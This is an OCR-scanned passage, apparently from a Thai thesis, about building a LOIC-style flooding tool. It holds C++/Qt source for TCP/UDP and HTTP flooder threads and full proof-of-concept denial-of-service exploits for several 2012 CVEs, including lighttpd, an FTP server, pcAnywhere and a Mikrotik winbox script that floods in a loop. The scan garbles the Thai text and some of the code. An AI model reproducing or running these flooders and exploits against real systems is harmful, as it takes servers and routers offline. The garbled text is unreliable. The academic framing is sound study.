/I Change the thread's state to inactive
1l
void httpflooder::stop()
{
active = false;
}

AT 4.10 sWAGuRLY httpflooder.cpp (A1)
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#include <iostream>

#include <QtCore/QThread>
#include <QtCore/QString>
#include <QtGui/QApplication>
#include <QtNetwork/QTcpSocket>
#include <QtNetwork/QUdpSocket>
#include <QtNetwork>

#include <QtCore/QByteArray>
#include <string>

#ifndef XPPFLOODER_H_1285891192
#define XPPFLOODER_H_1285891192

class xppflooder : public QThread
{

public:

volatile quint64 FloodCount;

volatile quint64 Failed;

QsString IP;

quint32 Port;

QString Protocol;

quint32 Delay;

quint32 Timeout;

bool Response;

QString Data;

xppflooder(QString ip, quint32 port, QString protocol, quint32
delay, quint32 timeout, bool resp, QString data);

void stop();

protected:

void run();
private:

volatile bool active;
I

#endif

A7 4.11 @G ueLL xppflooder.h

#include "xppflooder.h"

xppflooder::xppflooder(QString ip, quint32 port, QString protocol,
quint32 delay, quint32 timeout, bool resp, QString data)

{

NN 4.12 siadiuatiu xppflooder.cpp
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gDebug() << "in Constructor xppflooder..." << endl;
active = true;

IP =ip;

Port = port;

Timeout = timeout;

Protocol = protocaol;

Delay = delay;

Response = resp;

Data = data;

FloodCount = 0;

Failed = 0;

}

I

#Run the packet generator thread;
# Commence writing data to sockets
I

void xppflooder::run()

{

FloodCount = 0;
while (active) {

gDebug() << "xppflooder::Protocol:" << Protocol << endl;

gDebug() << "xppflooder::Port:" << Port << endl;
gDebug() << "xppflooder::IP;" << IP << end];

if (Protocol == "TCP") {

QByteArray byteArray = Data.toLatin

const char *data = byteArray.data();
gint 64 string_length = strlen(data)+

QHostAddress *addr = new QHostAddress(IP);
QTcpSocket *Socket = new QTcpSocket;
Socket->connectToHost(IP, Port);

if (!Socket->waitForConnected(Timeout)) {
Failed++;
Socket->close();
delete addr;
delete Socket;
continue;

}

while (active) {
gint 64 errcode = 0;

do {

if(""!=Data) {
FloodCount++;

}
gDebug() << "xppflooder: TCP:Data:" << Data <<

endl;

AINT 4.12 sWaGULL xppflooder.cpp (Ag)




35

gDebug() << "xppflooder::rounds at:" <<
QsString::number(FloodCount);

errcode = Socket->write(data, string_length);
Socket->flush();
this->msleep(Delay);

} while ((errcode != -1) && (active));

/I if you write to a socket for some time, it appears
to become unusable

Failed++;

break;

Socket->close();
delete addr;
delete Socket;

} else if (Protocol == "UDP") {

QHostAddress *addr = new QHostAddress(IP);
QUdpSocket *Socket = new QUdpSocket;
Socket->connectToHost(IP, Port);

while (active) {
gint64 errcode = 0;
do {
if(""!1=Data) {
FloodCount++;

}

gDebug() << "xppflooder:UDP:Data:" << Data <<
endl;

gDebug() << "xppflooder::rounds at:" <<
QString::number(FloodCount);

Socket->writeDatagram(Data.toUtf8(), *addr,

Port);
Socket->flush();
this->msleep(Delay);
} while ((errcode != -1) && (active));
Socket->close();
delete addr;
delete Socket;
}
b
active = true;
}
I
/I Set the thread's state to inactive
1l
void xppflooder::stop()
{

active = false;

}

AN 4.12 sasiueLiy xppflooder.cpp (A1)
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| 12
o o [

dvsumndanldlunisualilsunsy (compile) waaleladvavnnil

o

%
ATUNT

palRndnlldoAe

g++ -0 ext-loic.so -shared -WI,-soname,ext-loic.so -l/usr/lib/ivm/java-6-openjdk/include
-I/usr/lib/jvm/java-6-openjdk/include/linux -l/opt/QtSDK/Desktop/Qt/4.8.1/gcc/include
-1/opt/QtSDK/Desktop/Qt/4.8.1/gcc/include/QtCore
-1/opt/QtSDK/Desktop/Qt/4.8.1/gcc/include/QtGui
-1/opt/QtSDK/Desktop/Qt/4.8.1/gcc/include/QtNetwork
-L/opt/QtSDK/Desktop/Qt/4.8.1/gcc/lib  -IQtCore -IQtGui -IQtNetwork
nativeinterface_ApiExtendingLoic.cpp mainsynapse.cpp httpflooder.cpp

xppflooder.cpp

4.2. n19vinnszgu (Bullet Extraction)
Tuidiatiaznanaiien19iinsqulnen AUUUIAAETINTLQUIAZ NI 94519

1
a

nszqui ldiinianantin il luuny 3 dAmiudunenseinisainnssguilnwaanainIng 4.3

STEP I: Go to exploit code

\

STEP 1I: Peel the code to create a socket
for communication

\

STEP IIT: Peel the code to setup IP and port

\

STEP VI: Search the payload and compile to ASCIT code
as possible

\

STEP 1V: Testing the payload as bullet

NN 4.13 TURIUNIIANTANITAY
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b4 v v v
o

el dnFudunenassnisanansequiiludunaunisainanniaands

a o

Tilsunsunannsaunldl dounnsinnsequiniasindgeaailuanuidandesinsall andou

1
aa | o v o |

Wadeya 16 Fia ladn1svagaudvilvanenideslnddailusiafiuaiinuuugs (open

source) w8191 6 fanardnuilsa N nvunedlunafiag (shareware) winsiis
4.21. MeanANTzgU CVE-2012-5533

nsananszgulnaenduduneunisaianszqunlinansliuiadie 4.2 uéo
Busn AN ANIRANEITUTUNTNAININA 4.14 AEWUINIHRANEIFINAIIWELNTUNIAYE

unAndatanansLlsl (shell script) Aenldanuldsunss Netcat visa nc ansauils

#!/bin/bash

# Exploit Title: simple lighttpd 1.4.31 DOS POC

# Date: 11/21/2012

# Exploit Author: t4c@ghcif.de

# Vendor Homepage: http://www.lighttpd.net

# Software Link: http://download.lighttpd.net/lighttpd/releases-
1.4.x/lighttpd-1.4.31.tar.gz

# Version: 1.4.31

# Tested on: Debian Linux, Gentoo Linux, Arch Linux

# CVE: CVE-2012-5533

if [$#-1t2]
then
echo "usage :$0 <Host/IP> <Port>"
else
echo -ne "GET / HTTP/1.1\r\nHost: pwn.ed\r\nConnection:
TE,,Keep-Alive\r\n\r\n" | nc $1 $2
fi

AN 4.14 saAndelsunsnTanRenugdaaling CVE-2012-5533

dll = P o dl L v o =
Wagaann In123an1danunsdanman1uniellsunsn Netcat  A91iuas
A1 0dudunaunaad s e linandaunanisninualannazwasnaanly vi119

& & 9 Y o a
AMNNTOHDY L'V]u@'lul)u@mﬂﬂxlj@iﬁ ANNINN 4.15

G —— anuil Aa payload #vinliihwane
1 e = Z
then iin DoS attack a5u

echo
else
acho nel”- H' . n 3t . X ony . ’d L n r II nc

£i

Nl 4.15 doilediayanaunsnannesnsniunssqudniu CVE-2012-5533
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4.2.2. msaﬁ'ﬂnszqu CVE-2012-1783

nsafianszquinaendadunaunisaianszquinlanaiallluiadienaundini

|
o o

Fusn AN ANITRANZITUTUNTNAININA 4.16 AZWUINIHRANZIAINAIIWELNTUNIAYE

Tdsunsunimnnaas AREUN198319  Socket  aAusn ManulunisimanmaLAFatneN ez

dayarinuniaiaridu HTTPConnection

#!/usr/bin/python

# Tiny HTTP Server <=v1.1.9 Remote Crash PoC
# written by localhOt

# Date: 24/02/11

# Contact: mattdchO@gmail.com

# Follow: @mattdch

# www.localhOt.com.ar

# Targets: Windows (All)

import httplib,sys

if (len(sys.argv) < 3):
print "\nTiny HTTP Server <=v1.1.9 Remote Crash PoC"
print "\n Usage: %s <host> <port> \n" %(sys.argv[0])
sys.exit()
payload = "X" * 658

try:
print "\n[!] Connecting to %s ..." %(sys.argv[1])
httpServ = httplib. HTTPConnection(sys.argv[1] ,
int(sys.argv[2]))
httpServ.connect()
print "['] Sending payload..."
httpServ.request('GET"', "/" + str(payload))
print "[!] Exploit succeed. Check %s if crashed.\n"
%(sys.argVv[1])
except:
print "[-] Connection error, exiting..."

httpServ.close()
sys.exit()

A 4.16 39aANEIlUsuNsNTaN AW a9l CVE-2012-1783

. PRy o A g9 A ' A '
NAARAIUNNNITATIN Socket LW@I‘N’]HM?L%@NM@Lm‘m’mmuww

HTTPConnection siadnlfinangquninisninualaiuaznasnaaniil N liau1sauadiiiv

'
Y o =

douiladioyals faninim 4.17
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Date: 24/02/11

Contact: mattdchOfgmail.com

ry
#

$# Follow: Emattdch

$# www.localhDt.com.ar
2

Targets: Windows (A1l)
import httplib,sys

[if {len(sys.argv) < 3):

print "\nTiny HTT ote Crash PoC
print "\n ] x5 <h I t> \n" &({sys.argv[0])

sys.exit() #auil Az payload winlviin DOS

T L ——— attack 1Jumsaéw long string 1u
GET request

HEry:

print "\n[! Connecting to %s\..." &({sys.argv[1l])

httpServ = httplib.HTTPConnectlon(sys.argv[l] , int(sys.argv[2]))

httpServ.connect {)

print "[!] Sending pavload..."

httpServ.reguest('C " +Qs5tr (payvload)

print "[!] Exploit succeed. Ghegk As, if crashed.\n" %(sys.argv[1l])}
Hexcept:

rint "[-] Connecticon_srro¥y, exifing..."
=) L=1 ’ :

httpServ.close()
sys.exit ()

Nl 4.17 dowiledieyanianunsnannesniiunssqudniu CVE-2012-1783
4.2.3. m'a‘ﬂﬁ'mn'i:zgu CVE-2012-5329

% [ :j (% lﬂl v 1 o Y 1 £ dgj
nsananszgulnaendadunaunisaianszqunlinans i uideneuuiind

Buusn AN AN IR ANAI1UILNTNAINAINT 4.18 AEWUINIHRANEIFINAIIWENLNTUNIAYE
Tdsunsun e naaundoun1sasne  Socket  AusnMarulunisimansaLATatineNags

fayanigiuuy stream protocol 1l SOCK_STREAM vigaluiiiiAa TCP protocol a4

#!/usr/bin/python

HHH
T

# SEH overflow exploiting a vulnerability in Typesoft-FTP APPE

command.

# Date of Discovery: 3/16/2012 (0 Day)

# Author: Brock Haun

# Vulnerable Software Download:

http://sourceforge.net/projects/ftpserv/

# Software Version: 1.1

# Target OS: Windows 7

# REQUIRES VALID CREDENTIALS. Luckily, anonymous logins are enabled

by default.

HHH T R R R R R R R R
Rt

A 4.18 svaAndeldsunsulanmeinugaslig CVE-2012-5329
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import socket, sys

if len(sys.argv)!= 2:
print \n\t[*] Usage: ./' + sys.argv[0] + ' <target host>'
sys.exit(1)

print \n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock
Haun'

host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer ='A../" + '\x41' *100
print \n\t[*] Sending crash buffer ("A../ +\x41 * 100").'

s.connect((host,21))

data = s.recv(1024)

s.send('USER anonymous' + '\r\n")

data = s.recv(1024)

s.send('PASS anonymous' + \r\n")

data = s.recv(1024)

s.send('APPE ' + buffer + '\r\n")

print \n\t[*] Done! Target should be unresponsive!'

s.close()

AN 4.18 saAnalilsunsnlanmnnudesing CVE-2012-5329 (sia)

\ A ¥ A gy = LA ) ) )
NAARAVUNNNITATIN Socket LW@MM‘LAM?L%NM@LMMW mﬂﬂqiﬂﬂ@ﬂﬁqu

! o ¥ v
v a A

aa ° = - o o g & 4 9 o
niinstinvunleuazneian 21 eanll inlfiarunsanesiindawiiedayals visil wesann
IS ! Y og// o [ = [ 1% o Ao a
Annsdedeyawuunataduainisaiinissaunniunszquiameiulindsainninsts
NARBLLAT €91 hex code NHAN w41 NHLsngalusiauls buffer Mugsarnnsauaglis

agl1s ASCII printable characters 16 #an W% 4.19
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host = sys.argv[l]

s = socket.socket (socket .AF INET, socket.SOCK _STREAM)

buffer = "a../" + "ix4l' *100

print "\n\t[*] Sending crash-buffer ("a../ + \x41 * 100%")."

s.connect ( (host ,2003))

data = s.recv(1024)

FTP user
s.send{'USER anonymous' + '\rin') |°gin
data = s.recv(1024)
FTP
I s.send{'PASS ancnymols' + o s L password
data = s.recv(1024) Iogln
s.5end{'APPE ' + buffér/+ "\r\n"') Sending
L NN payload
print '\n\t[*] Dgne) Tafget-should be.unresponsivel'

v

Nl 4.19 dowilediayanaiunsnanneanyiunssqud iy CVE-2012-5329
4.2.4. NNsANANSE{U CVE-2012-5905

o o/ os/l o tﬂl % 1 4 U v dgj
N1TaN ﬂﬂ?t?ﬁutﬁﬁl‘ﬂ’] ﬂﬂﬂuﬁl’ﬂuﬂ’]?'&ﬂﬂﬂ?ﬁ:@‘u‘ﬂiﬂﬂ@’]"ﬂﬂiﬂ‘ﬁ’ﬂl’ﬂﬂ'ﬂu‘ﬁuqu

Buusn AN AN IR ANAITUIUNTNAININA 4.20 AZNUINIHRANFIFINAIIWENLNTUNIAYE

%

Tsunsuntwiinda (per) AN sllBenlilfuisddy FTP ddagilivalddwiunisds
2 3// d”o o & o o [~ [~ :/I ] dly v Y ]
faya Meldwiuieidu FTP AdagUidensvaguuiugiunisliandsdayatiunig TCP

protocol Wase 21

#!/usr/bin/perl

HHH T R R R R R R R R
# Advisory: KnFTPd 1.0.0 'FEAT' DoS PoC-Exploit

# Author: Stefan Schurtz

# Affected Software: Successfully tested on KnFTPd 1.0.0

# Vendor URL: http://knftp.sourceforge.net/

# Vendor Status: informed

# CVE-ID: CVE-2012-5905

# PoC-Version: 1.0

HHH T R R R R R R R R

A 4.20 saAndsldsunsulanmeinugasling CVE-2012-5905
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use strict;
use Net::FTP;

my $user = "system";
my $password = "secret";

HHHH T HH AR
# connect

HHAHHH AR H R
my $target = SARGVI[O];

my $plength = $ARGV[1];

print "\n";

Print "\tHHHHH N
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";

Print "\t R AN,
print "\n";

if (SARGV[0]||!$SARGV[1]) {
print "[+] Usage: $@ <target> <payload length>\n";
exit 1;

}

my $ftp=Net::FTP->new($target, Timeout=>12) or die "Cannot connect to
$target: $@";

print "[+] Connected to $target\n”;

HHHEH I

# login

HHHH AR

$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";

U T R R
# Building payload './A" with min. length of 94
BHHH R AR AR T R
my @p = (","/A");
my $payload;
print "[+] Building payload\n";
for (my $i=1;$i<=$plength;$i++) {

$payload .= $p[$i];
; push(@p,$p[$i]);
sleep(3);
HHAHH R AR R R R R
# Sending payload
HHEHH T T R T
print “[+] Sending payload [$payload]\n";
$ftp->quot('FEAT ' ."$payload");

R R R R T R R R R
# disconnect

HHHH R
print "[+] Done\n";

$ftp->quit;

exit 0;

H#EOF

AN 4.20 svaAgaTlsunsnlanmnnudealing CVE-2012-5905 (sia)
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=< A

nendauninisianldeu FTP d15aguaenioilun19a519 Socket il
dll 1 A 1 1 I'd 1 v ] aid o = o £
nismenseATalneIunanedn 21 dennliinandauninisiavualefeenty f1ld
@ & o o o A = Dy o o
annsnnesindauedayals sl iesaninisdediayanuunanaduainnsanianissy
[ = o ¥ = o o A a 1% o ¥ <
wnfunszquanpaaiulfiduneefundsainiinistamagauuda vinliaunsonediu

dnuiladieyals Asnwni 4.21

my Sftp=Net::FTP->new(Stargst,Timecut=>12) or die "Canncot connect to S$target: $E";

print "[+] Connected to $target\n";

BB AR B R

TEREAFR AR EATRAAN

AEULBIURE RSN BB ERERBLEY

|, tp->login{Suser ,Spassword) or die "C

PIIniC S M T o =To BRI T o T 512 oD VB 0

Cdppssssississspitsstsstsssssssstpssssssapssssssssss
; 11di 1 i il ith mi ] G4
spasssssasss spdias
e
Brint-" [H]-Batlaidy payloadygss #au payload vivinlitilusane
e ik bbbkl \fia DoS'attELck ‘lumup’ann’:ﬁ .
[ Seavicas = soreils i #9719 string Msenaueaa "./A
Tush(te, oo e-105 Auendatuu 94 2qa

}

Nl 4.21 dowitlediayananisnannasnuiiiunssqua iy CVE-2012-5905
4.2.5. nN1sANANSE{U CVE-2012-3845

o o/ n’; o tﬂl 1% 1 4 U v dgj
mmnmﬂizzﬁuimamﬂmurﬁmumimmm:zﬂ;umimﬂmﬂﬂlumm@n@mmu

- Y o A e o o o = e o e e 1 o < 5
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TUsunsnn e naaunidoun1aas1e Socket  Ausn MaulunsmaNmaLATatNeNag

1
a

%@H@Wﬁgﬂuuu stream protocol 11 SOCK_STREAM 178 TCP protocol

#!/usr/bin/python

# Exploit Title: LAN Messenger <=v1.2.28 Remote Denial of Service
# Vulnerability

# Version: <=v1.2.28

# Date: 2012-04-28

# Author: Julien Ahrens

# Homepage:  www.inshell.net

# Software Link: http:/lanmsngr.sourceforge.net/

# Tested on:  Windows XP SP3 Professional German, Windows
# 2008R2 SP1 German

# Notes: Under WinXP the app needs 8190 Bytes to crash

# Howto: -
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44

from struct import pack
import socket,sys
import os

target="192.168.0.1"
port=50000

junk = "\x41" * 8190
print "[*] Connecting to Target " + target + "..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:

connect=s.connect((target, port))

print "[*] Connected to " + target + "!"
except:

print "[!] " + target + " didn't respond\n"

sys.exit(0)

print "[*] Sending malformed request..."
s.send("\x4d\x53\x47" + junk)

print "[!] Exploit has been sent\n"
s.close()

AN 4.22 saagalilsunsnlanmnnudaalig CVE-2012-3845 (5in)

| e ] A ay 2 S : o '
nenAdaunin1sa3ng Socket Ilaliauniadensewsedig Aeniliinandan
ninsivunleiuaznadaeanty inliiainisaneaiivdawiiediays hex code NHAN 41
=

Pdsngetludauis junk 99309 hex code A wad\x53\x47 tiudtannsautlasliiaglu

ASCII printable characters 15 AanInwi 4.23

prinpt "[*] Connecting to Target " + tartget + v

s=socket.socket (socket .AF INET, socket.S0CK STREAM)

try:

connect=s.connect { {Larget, port))

print "[*] Connected to ™ + target + ™!”®
except:

print "[!] " + target + " didn't zesgg

sys.exit(0) | P
du payload fnTiiiih

= - o A
wanmie DoS luhil Aans

print " Sending malform = e - z g 5 i
s_sendt' vmad\ xS 3\ xdT" {an EE‘S'!\S Eétl'lllg 1;1]]:5'.;ﬂle”_‘.l‘l_itlﬂlﬂ (T

aniduaa ‘MG A uaz
print "[!] Exploit has been 3ent'\n" auena 'A' 8n §uau
z.close () 3,190 AanuwIATl
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4.2.6. msaﬁ'ﬂnszqu CVE-2012-0292

nsafianszquinaendadunaunisaianszquinlanaiallluiadienaundini

%

Fusn AN ANITRANZITUTLNTNAININA 4.24 AZWUIIHRANZIAINAIIWELNTUNIAYE

TUsunsun s naaunidoun1gasa Socket  Aunn Mauwluns@aNmAaLATaN LN AN

%H@‘ﬁﬁjgmmu stream protocol 11 SOCK_STREAM 1178 TCP protocol

#!/usr/bin/python

Exploit Title: PCAnywhere Nuke

Date: 2/16/12

Author: Johnathan Norman spoofy <at> exploitscience.org or
@spoofyroot

Version: PCAnyWhere (12.5.0 build 463) and below

Tested on: Windows

Description: The following code will crash the awhost32 service.
It'll be respawned

so if you want to be a real pain you'll need to loop this.. my
inital impressions

are that controlling execuction will be a pain.

import sys
import socket
import argparse

if len(sys.argv) != 2:
print "[+] Usage: ./pcNuke.py <HOST>"
sys.exit(1)
HOST = sys.argv[1]
PORT = 5631
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# HELLO!
s.send("\x00\x00\x00\x00")
buf = s.recv(1024)

# ACK!
s.send("\x6f\x06\xfe")
buf = s.recv(1024)

# Auth capability part 1
s.send("\x6f\x62\xff\x09\x00\x07\x00\x00\x01\xffix00\x00\x07\x00")
# Auth capability part 2
s.send("\x6f\x62\xff\x09\x00\x07\x00\x00\x0 1 \xfAx00\x00\x07\x00")

AW 4.24 39aANEelUsuNsNTaN RN W a9l CVE-2012-0292
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nangaLiin1ease Socket ilelduniadensiawiadns deunliinandau
st mualefiuaznesneenll inliiansnsoneadiudauiledenals sannd 4.25 da
zdmﬁ@%@ng@zﬁmmuﬂmﬂu ASCII printable characters l¥ann Guusnliivnnisutlasen
hex code il ¢ array byte Aeuanniiu st senlEeusnuiardy toAscii()

LAAAININD 4.26

import sys
import socket
import argparse

if len{=sys.argv) 1= 2:
print " [+] -Usage: ./pclnuke.py KHESFD
sys.exit{l)
HOST = -sys.argv[l]
PORT = 5631
g = socket.socket (socket.AF _IMNET, socket.S0CE STREAM)
s.connect{ (HOST , -PCORT) )

# HELLO! ;
s send  AROO\ROO RO0 .~;c--.'"|< druuns payload
buf = 3.recv(1024) ﬁq’gﬁlﬁﬂ DoS
dlgrilu string
Usznauldara hex

Buth o

£
=]
iy
3

.mend (=8

NN 4.25 dauilediayanaunsnaineanuniilunszqudmiu CVE-2012-0292

char data[] = {0x00,0x00,0x00,0x00,0x6f,0x06,0xfe,0x6f,
0x62,0xff,0x09,0x00,0x07,0x00,0x00,0x01,
0xff,0x00,0x00,0x07,0x00,0x6f,0x62,0xff,
0x09,0x00,0x07,0x00,0x00,0x01,0xff,0x00,
0x00,0x07,0x00};

struct toAscii{ char operator()(char value)

const{ if(value<32&&value!=0x0d &&value!=0x0a) return '.";else return

value; }
)

AW 4.26 3R uRTTLLL aeTEansesT U LT lusaLasn
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int main () {

string s;

transform( &data[0], &data[sizeof(data)], back_inserter(s), toAscii()
)i

return O;

}

AT 4.26 sasuetiuwlasdansisedludluifusiauaan (sa)
4.2.7. MeANANTEqU CVE-2012-6050

[% [ :j (% l-ﬂl v 1 o Vv 1 v d’j
nsananszgulnaenduduneunisaianszqunlinans i uiadaneuuiind

Buusn AN ANIRANAITUTUNTNAININT 4.27  WUINIHRANEIFINAIIWELNTUNIAAE
Tdsunsun e naauntdounisasne Socket  aunn aulunsmansaLATat N Az

%H@‘ﬁﬁjgmmu stream protocol 1l SOCK_STREAM 1138 TCP protocol

#!/usr/bin/python

# Exploit Title: Mikrotik Router Remote Denial Of Service attack
# Date: 19/4/2012

# Author: PoURaN @ 133tsec.com

# Software Link: http://www.mikrotik.com

# Version: All mikrotik routers with winbox service
enabled are affected (still a Oday 30/5/2012)

# Tested on: Mikrotis RouterOS 2.9.6 up to 5.15

#

# Vulnerability Description

#

# DETAILS & PoC VIDEO : http://www.133tsec.com/2012/04/30/0day-
# ddos-mikrotik-server-side-ddos-attack/

# The denial of service, happens on mikrotik router's winbox

# service when the attacker is requesting continuesly a part of

# a .dll/plugin # file, so the service becomes unstable causing

# every remote clients (with winbox) to disconnect and denies to

# accept any further connections. That happens for about 5

# minutes. After the 5 minutes, winbox is stable again, being able

# to accept new connections. If you send the malicious packet in a
# loop (requesting part of a file right after the service

# becoming available again) then you result in a 100% denial of

# winbox service. While the winbox service is unstable and in a

# denial to serve state, it raises router's CPU 100% and other

# actions. The "other actions" depends on the router version and

# on the hardware.

# For example on Mikrotik Router v3.30 there was a LAN corruption,
# BGP fail, whole router failure

NN 4.27 sviapndeldsunsulanmeinugaslig CVE-2012-6050
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# => Mikrotik Router v2.9.6 there was a BGP failure

# => Mikrotik Router v4.13 unstable wifi links

# => Mikrotik Router v5.14/5.15 rarely stacking

# =>>> Behaviour may vary most times, but ALL will have

# CPU 100% . Most routers loose BGP after long time attack <<<=
#

#

# The exploit

#

# This is a vulnerability in winbox service, exploiting the fact

# that winbox lets you download files/plugins

# that winbox client needs to control the server, and generally

# lets you gain basic infos about the service BEFORE

# user login!

# Sending requests specially crafted for the winbox service, can
# cause a 100% denial of winbox service (router side).

# This script, offers you the possibility to download any of the

# dlls that can be downloaded from the router one-by-one

# or alltogether! (look usage for more info) .. The file must be

# contained in the router's dll index.

# The dlls downloaded, are in the format of the winbox service..
# Meaning that they are compressed with gzip and they

# have OxFFFF bytes every 0x101 bytes (the format that winbox
# client is expecting the files)

# These DLLs can be used by the "Winbox remote code execution"
# exploit script ;)

# Usage

# Use the script as described below:

# 1. You can download ALL the files of the router's dll index
# using the following command:

# python mkDl.py 10.0.0.1 * 1

# the "1" in the end, is the speed.. "Speed" is a factor |

# added, so the script delays a bit while receiving

# information from the server. It is a MUST for remote routers
# when they are in long distance (many hops) to use

# a slower speed ( 9 for example ).

# Also in the beginning of the dlls file list, script shows

# you the router's version (provided by router's index)
# 2. You can download a specific .dll file from the remote router.
# python mkDl.py 10.67.162.1 roteros.dll 1

# In this example i download roteros.dll (which is the biggest
# and main plugin) with a speed factor of 1 (very fast)

# Because roteros and 1-2 other files are big, you have to

# request them in different part (parts of 64k each)

# That is a restriction of winbox communication protocol.

# If you don't know which file to request, make a "*" request
# first (1st usage example), see the dlis list, and press ctrl-c

# to stop the script.

# 3. You can cause a Denial Of Service to the remote router..

# Means denial in winbox service or more (read above for more)

# python mkDl.py 10.67.162.1 DoS

# This command starts requesting from router's winbox service
# the 1st part of roteros.dll looping the request

A 4.27 saangalilsunsulanmnnugesing CVE-2012-6050 (sia)



# and causing DoS to the router. The script is requesting the
# file till the router stops responding to the port (8291)

# Then it waits till the service is up again (using some

# exception handling), then it requests again till the remote

# service is down again etc etc... The requests lasts for

# about 2 seconds, and the router is not responding for about

# 5 minutes as far as i have seen from my tests in different
# routeros versions.

#

# <> Greetz to mbarb, dennis, andreas, awmn and all mighty
# researchers out there! keep walking guys <>

#

import socket, sys, os, struct, random, time

def InitConnection(mikrotikIP, speed):
s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
s.connect((mikrotikIP, 8291))
s.send(winboxStartinglndex)
data = s.recv(1024) # receiving dll index
from server
time.sleep(0.001*speed)
if data.find("\xFF\x02"+"index"+"\x00") > -1:
print "[+] Index received!"
else:
print "[+] Wrong index.. Exiting.."
sys.exit(0)
return s
def download(filename, speed, s):
f = open(filename, 'wb")
if len(filename) < 13 and len(filename) > 6:
print "[+] Requesting file ", filename, ' <->'
winboxStartingFileReq = RequestHeader +
filename.ljust(12, "\x00") + RequestFirstFooter
s.send(winboxStartingFileReq)
time.sleep(0.001*speed)
dataReceived = s.recv(1)
if dataReceived[0:1]=="\xFF"
print "[+] Receiving the file..."
f.write(dataReceived)
# written 1st byte
time.sleep(0.001*speed)
dataReceived = s.recv(0x101)
# 0x100 + 1
nextPartFingerprint = struct.unpack(’>H',
dataReceived[14:16])[0]
if dataReceived[0:1]=="\x02":
time.sleep(0.001*speed)
f.write(dataReceived)
# written 1st chunk 0x102 bytes with header in file.
dataReceived = s.recv(0x102)
# 1st sequence of (OxFF OxFF)
bytesToRead = int(dataReceived[len(dataReceived)-2].encode(‘hex’),
16) + 2
f.write(dataReceived)  # write the next 0x102 bytes (total

A 4.27 saangalilsunsulanmnnugesing CVE-2012-6050 (sia)




50

0x102+0x102 in file)
else:
print "[-] Wrong data received..(2)"
sys.exit(0)
else:
print "[-] Wrong data received..(1)"
sys.exit(0)

finalPart=0

bigFileCounter = OXFFED

packetsCounted=0 # counter for the 0x101 packet
counts. Every time a file is requested this counter is 0

fileRequested=0 # every time a file
needs to be requested more than 1 time, this is it's counter.

while 1:

# header of file done.. Now LOOP the body..
packetsCounted+=1 # dbg
time.sleep(0.001*speed)
dataReceived = s.recv(bytesToRead)
f.write(dataReceived)

if (bytesToRead <> len(dataReceived)) and packetsCounted==255:
# an den diavazei osa bytesToRead prepei, simainei oti
eftase sto telos i lipsi tou part pou katevazoume
packetsCounted = -1
print '[+] Next file part : ',
fileRequested
s.send(RequestHeader + filename.ljust(12,
"\x00") + \xFF\XED\x00' + struct.pack('=b',fileRequested) +
struct.pack(>h',bigFileCounter))
time.sleep(0.001*speed)
dataReceived = s.recv(0x101 + 2)
# Reads the new header of the new part!!!
nextPartFingerprint = struct.unpack('>H',
dataReceived[14:16])[0]
f.write(dataReceived)
bytesToRead =
int(dataReceived[len(dataReceived)-2].encode('hex’), 16)
fileRequested += 1
bigFileCounter -= 0x13

bytesToRead = int(dataReceived[len(dataReceived)- 21.encode(‘hex’),
16) # den prostheto 2 tora giati to teleutaio den einai
ff.. einai akrivos to size pou paramenei..

if bytesToRead==  oxFF: # kalipto

tin periptosi opou to teleutaio struct den einai ff alla exei to
size pou apomenei

bytesToRead += 2
if bytesToRead != ox101 and nextPartFingerprint < 65517: #
dikaiologountai ta liga bytes otan teleiose ena apo ta parts tou
file

time.sleep(  o.oo1*speed)
dataReceived = s.recv(bytesToRead)

f.write(dataReceived)
break

AN 4.27 saagalilsunsnlanmnnudealing CVE-2012-6050 (5ia)
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if bytesToRead != 0x101 and nextPartFingerprint==65517:

# ligotera bytes KAI fingerprint 65517 simainei corrupted
file..

print '[-] File download terminated
abnormaly.. please try again probably with a slower speed..'
sys.exit(0)
if fleRequested < 1:  print '[+] File was small and
was downloaded in one part\n[+] Downloaded successfully'
else: print '[+] File '+filename+' downloaded

successfully'

f.close()

s.close()
def Flood(s):

filename = 'roteros.dll'

f = 'we\'r not gonna use /O to store the data'

print "[+] Requesting file ", filename, ' till death :)'

time.sleep(1)
winboxStartingFileReq = RequestHeader + filename.ljust(12, "\x00")
+ RequestFirstFooter

s.send(winboxStartingFileReq)

time.sleep(0.001)

dataReceived = s.recv(1)

if dataReceived[0:1]=="XFF":

f = dataReceived # written 1st byte
time.sleep(0.001)
dataReceived = s.recv(0x101) # 0x100 + 1

nextPartFingerprint = struct.unpack('>H',
dataReceived[14:16])[0]
if dataReceived[0:1]=="\x02";
time.sleep(0.001)
f = dataReceived # written 1st chunk 0x102
bytes with header in file.
dataReceived = s.recv(0x102) # 1st sequence of
(OXFF OxFF)

bytesToRead = int(dataReceived[len(dataReceived)- 21.encode(‘hex’),
16) + 2
f = dataReceived # write the next ox 102 bytes
(total 0x102+0X 102 in file)
else:
print "[-] Wrong data received..( 2)"
sys.exit( o
else:
print "[-] Wrong data received..( 1)
sys.exit( o)
finalPart=" o
bigFileCounter = oxFFED
packetsCounted= o # counter for the 0X101 packet counts.
Every time a file is requested this counter is 0
fileRequested= o # every time a file needs to
be requested more than 1 time, this is it's counter.

AN 4.27 saadallsunsnlanmnnudealing CVE-2012-6050 (5ia)
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try:
while 1:
s.send(RequestHeader + filename.ljust(12,
\x00") + "xFF\XxED\x00' + struct.pack('=b',fileRequested) +
struct.pack(>h',bigFileCounter))
s.recv(l)
print - Sending evil packet.. press CTRL-C to
stop -'
except:
print ‘Connection reseted by server.. trying attacking
again'

HHHH B R R R AR
HitH A SCRIPT BODY STARTS HERE#HHHH#HHHIHIHHHEHHEHHHEHHEHHHEHH
global RequestHeader

RequestHeader = ('\x12\x02")

global RequestFirstFooter

RequestFirstFooter = ("\xFF\xED\x00\x00\x00\x00")

global winboxStartingIndex

winboxStartinglndex=(RequestHeader + 'index' + \x00*7 +

RequestFirstFooter)

winboxStartingFileReg=(RequestHeader + '\x00'*12 +

RequestFirstFooter)

print \n[Winbox plugin downloader]\n\n'

if len(sys.argv)==3:
if sys.argv[2]=='"DoS":
# if i combine both checks in 1st if, there will be error..
guess why.. ;)
print '[+] Hmmm we gonna attack it.."
time.sleep(1)
speed=1
mikrotikIP = sys.argv[1]
